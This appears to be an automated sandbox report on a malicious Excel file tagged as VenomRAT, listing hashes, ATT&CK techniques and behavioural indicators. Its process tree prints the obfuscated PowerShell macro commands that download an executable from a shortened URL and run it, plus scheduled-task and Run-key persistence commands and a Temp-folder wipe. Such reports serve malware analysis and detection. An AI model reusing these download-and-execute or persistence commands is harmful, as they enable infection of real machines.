venomrat | ccf9c52f4542aceff583c50226397e1f31630836f08ab40759e01eeaa5538ef4

Analysis

max time kernel
136s
max time network
133s
platform
windows10_x64
resource
win10v20201028
submitted
11-11-2020 01:50

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General

Target

SecuriteInfo.com.Exploit.Siggen2.64979.12090.18025.xls
Size

75KB
MD5

7ba7817848e5d33a4f5b301b075120d8
SHA1

eacf413cf0b6db5ae2f36149dfd2792812a257f7
SHA256

ccf9c52f4542aceff583c50226397e1f31630836f08ab40759e01eeaa5538ef4
SHA512

06f71b6209b5091f6a16196757b8e3d973872f50d67641dbbd020a500baf19ef8ae018980529a841cb44ba2674e75bd1723605e6ec4a163093523fec389fe8a8

Score

10^/10

venomrat evasion persistence rat rootkit stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/XgX89zi

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/4448-36-0x0000000000486BDE-mapping.dmp	disable_win_def
behavioral2/memory/4448-35-0x0000000000400000-0x000000000048C000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3100	1144	cmd.exe	68
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	492	1144	cmd.exe	68
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2388	1144	cmd.exe	68

VenomRAT
VenomRAT is a modified version of QuasarRAT with some added features, such as rootkit and stealer capabilites.
rat rootkit stealer venomrat

Blacklisted process makes network request 2 IoCs

flow	pid	Process
15	3420	powershell.exe
17	3420	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4324	qc.exe
4596	chrome inc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\vlc = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\VideoLAN\\vlc.exe\""	qc.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4324 set thread context of 4448	4324	qc.exe	90

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4552	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5028	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1144	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3420	powershell.exe
1124	powershell.exe
3420	powershell.exe
420	powershell.exe
1124	powershell.exe
420	powershell.exe
3420	powershell.exe
420	powershell.exe
1124	powershell.exe
4620	powershell.exe
4620	powershell.exe
4620	powershell.exe
4448	RegAsm.exe
4448	RegAsm.exe
4448	RegAsm.exe
4448	RegAsm.exe
4448	RegAsm.exe
4448	RegAsm.exe
4448	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeDebugPrivilege	4324	qc.exe
Token: SeDebugPrivilege	4448	RegAsm.exe
Token: SeDebugPrivilege	4620	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1144	EXCEL.EXE
1144	EXCEL.EXE

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE
1144	EXCEL.EXE

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 3100	1144	EXCEL.EXE	76
PID 1144 wrote to memory of 3100	1144	EXCEL.EXE	76
PID 1144 wrote to memory of 492	1144	EXCEL.EXE	77
PID 1144 wrote to memory of 492	1144	EXCEL.EXE	77
PID 1144 wrote to memory of 2388	1144	EXCEL.EXE	78
PID 1144 wrote to memory of 2388	1144	EXCEL.EXE	78
PID 3100 wrote to memory of 3420	3100	cmd.exe	82
PID 3100 wrote to memory of 3420	3100	cmd.exe	82
PID 492 wrote to memory of 1124	492	cmd.exe	83
PID 492 wrote to memory of 1124	492	cmd.exe	83
PID 2388 wrote to memory of 420	2388	cmd.exe	84
PID 2388 wrote to memory of 420	2388	cmd.exe	84
PID 420 wrote to memory of 4324	420	powershell.exe	89
PID 420 wrote to memory of 4324	420	powershell.exe	89
PID 420 wrote to memory of 4324	420	powershell.exe	89
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4324 wrote to memory of 4448	4324	qc.exe	90
PID 4448 wrote to memory of 4552	4448	RegAsm.exe	91
PID 4448 wrote to memory of 4552	4448	RegAsm.exe	91
PID 4448 wrote to memory of 4552	4448	RegAsm.exe	91
PID 4448 wrote to memory of 4596	4448	RegAsm.exe	93
PID 4448 wrote to memory of 4596	4448	RegAsm.exe	93
PID 4448 wrote to memory of 4596	4448	RegAsm.exe	93
PID 4448 wrote to memory of 4620	4448	RegAsm.exe	95
PID 4448 wrote to memory of 4620	4448	RegAsm.exe	95
PID 4448 wrote to memory of 4620	4448	RegAsm.exe	95
PID 4448 wrote to memory of 4888	4448	RegAsm.exe	97
PID 4448 wrote to memory of 4888	4448	RegAsm.exe	97
PID 4448 wrote to memory of 4888	4448	RegAsm.exe	97
PID 4888 wrote to memory of 4932	4888	cmd.exe	99
PID 4888 wrote to memory of 4932	4888	cmd.exe	99
PID 4888 wrote to memory of 4932	4888	cmd.exe	99
PID 4448 wrote to memory of 4952	4448	RegAsm.exe	100
PID 4448 wrote to memory of 4952	4448	RegAsm.exe	100
PID 4448 wrote to memory of 4952	4448	RegAsm.exe	100
PID 4952 wrote to memory of 5008	4952	cmd.exe	102
PID 4952 wrote to memory of 5008	4952	cmd.exe	102
PID 4952 wrote to memory of 5008	4952	cmd.exe	102
PID 4952 wrote to memory of 5028	4952	cmd.exe	103
PID 4952 wrote to memory of 5028	4952	cmd.exe	103
PID 4952 wrote to memory of 5028	4952	cmd.exe	103
PID 4952 wrote to memory of 5056	4952	cmd.exe	104
PID 4952 wrote to memory of 5056	4952	cmd.exe	104
PID 4952 wrote to memory of 5056	4952	cmd.exe	104

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.64979.12090.18025.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1144
- C:\Windows\SYSTEM32\cmd.exe
  cmd /cpowe^rshell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/XgX89zi'),'qc.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/XgX89zi'),'qc.exe')
    3⤵
    - Blacklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3420
- C:\Windows\SYSTEM32\cmd.exe
  cmd /cpowe^rshell -w 1 stARt`-slE`Ep 20; Move-Item "qc.exe" -Destination "${enV`:appdata}"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 20; Move-Item "qc.exe" -Destination "${enV`:appdata}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1124
- C:\Windows\SYSTEM32\cmd.exe
  cmd /cpowe^rshell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./qc.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./qc.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:420
  - - C:\Users\Admin\AppData\Roaming\qc.exe
      "C:\Users\Admin\AppData\Roaming\qc.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4324
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4448
      - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Chrome Startup" /sc ONLOGON /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /rl HIGHEST /f
        6⤵
        Creates scheduled task(s)
        
        PID:4552
      - C:\Users\Admin\AppData\Roaming\SubDir\chrome inc.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\chrome inc.exe"
        6⤵
        Executes dropped EXE
        
        PID:4596
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4620
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k start /b del /q/f/s %TEMP%\* & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4888
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K del /q/f/s C:\Users\Admin\AppData\Local\Temp\*
        7⤵
        
        PID:4932
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9bqH6ybWB4Ng.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4952
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        7⤵
        
        PID:5008
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        7⤵
        Runs ping.exe
        
        PID:5028
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:5056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/420-14-0x00007FFE17250000-0x00007FFE17C3C000-memory.dmp

Filesize
9.9MB

Download
memory/1124-11-0x00007FFE17250000-0x00007FFE17C3C000-memory.dmp

Filesize
9.9MB

Download
memory/1144-0-0x00007FFE20890000-0x00007FFE20EC7000-memory.dmp

Filesize
6.2MB

Download
memory/1144-3-0x0000014456807000-0x000001445680C000-memory.dmp

Filesize
20KB

Download
memory/1144-2-0x0000014456807000-0x000001445680C000-memory.dmp

Filesize
20KB

Download
memory/1144-1-0x0000014456807000-0x000001445680C000-memory.dmp

Filesize
20KB

Download
memory/3420-13-0x000002AD26F50000-0x000002AD26F51000-memory.dmp

Filesize
4KB

Download
memory/3420-17-0x000002AD3F2A0000-0x000002AD3F2A1000-memory.dmp

Filesize
4KB

Download
memory/3420-10-0x00007FFE17250000-0x00007FFE17C3C000-memory.dmp

Filesize
9.9MB

Download
memory/4324-31-0x0000000004C00000-0x0000000004C01000-memory.dmp

Filesize
4KB

Download
memory/4324-33-0x0000000006F10000-0x0000000006F11000-memory.dmp

Filesize
4KB

Download
memory/4324-34-0x0000000007590000-0x00000000075A6000-memory.dmp

Filesize
88KB

Download
memory/4324-32-0x0000000006E20000-0x0000000006E9C000-memory.dmp

Filesize
496KB

Download
memory/4324-26-0x0000000073A80000-0x000000007416E000-memory.dmp

Filesize
6.9MB

Download
memory/4324-27-0x0000000000010000-0x0000000000011000-memory.dmp

Filesize
4KB

Download
memory/4324-29-0x0000000005010000-0x0000000005011000-memory.dmp

Filesize
4KB

Download
memory/4324-30-0x0000000004B10000-0x0000000004B11000-memory.dmp

Filesize
4KB

Download
memory/4448-44-0x0000000006AD0000-0x0000000006AD1000-memory.dmp

Filesize
4KB

Download
memory/4448-43-0x0000000006700000-0x0000000006701000-memory.dmp

Filesize
4KB

Download
memory/4448-37-0x0000000073A50000-0x000000007413E000-memory.dmp

Filesize
6.9MB

Download
memory/4448-35-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/4596-50-0x0000000073A50000-0x000000007413E000-memory.dmp

Filesize
6.9MB

Download
memory/4596-51-0x00000000006A0000-0x00000000006A1000-memory.dmp

Filesize
4KB

Download
memory/4620-73-0x0000000009CA0000-0x0000000009CA1000-memory.dmp

Filesize
4KB

Download
memory/4620-76-0x0000000009C40000-0x0000000009C41000-memory.dmp

Filesize
4KB

Download
memory/4620-56-0x00000000079D0000-0x00000000079D1000-memory.dmp

Filesize
4KB

Download
memory/4620-58-0x0000000008340000-0x0000000008341000-memory.dmp

Filesize
4KB

Download
memory/4620-54-0x0000000007A50000-0x0000000007A51000-memory.dmp

Filesize
4KB

Download
memory/4620-60-0x0000000008180000-0x0000000008181000-memory.dmp

Filesize
4KB

Download
memory/4620-61-0x0000000008A90000-0x0000000008A91000-memory.dmp

Filesize
4KB

Download
memory/4620-62-0x00000000089E0000-0x00000000089E1000-memory.dmp

Filesize
4KB

Download
memory/4620-64-0x0000000009780000-0x00000000097B3000-memory.dmp

Filesize
204KB

Download
memory/4620-71-0x0000000009760000-0x0000000009761000-memory.dmp

Filesize
4KB

Download
memory/4620-72-0x0000000009B40000-0x0000000009B41000-memory.dmp

Filesize
4KB

Download
memory/4620-53-0x0000000004EE0000-0x0000000004EE1000-memory.dmp

Filesize
4KB

Download
memory/4620-74-0x0000000009C50000-0x0000000009C51000-memory.dmp

Filesize
4KB

Download
memory/4620-55-0x0000000007930000-0x0000000007931000-memory.dmp

Filesize
4KB

Download
memory/4620-52-0x0000000073A50000-0x000000007413E000-memory.dmp

Filesize
6.9MB

Download
memory/5056-88-0x0000000073740000-0x0000000073E2E000-memory.dmp

Filesize
6.9MB

Download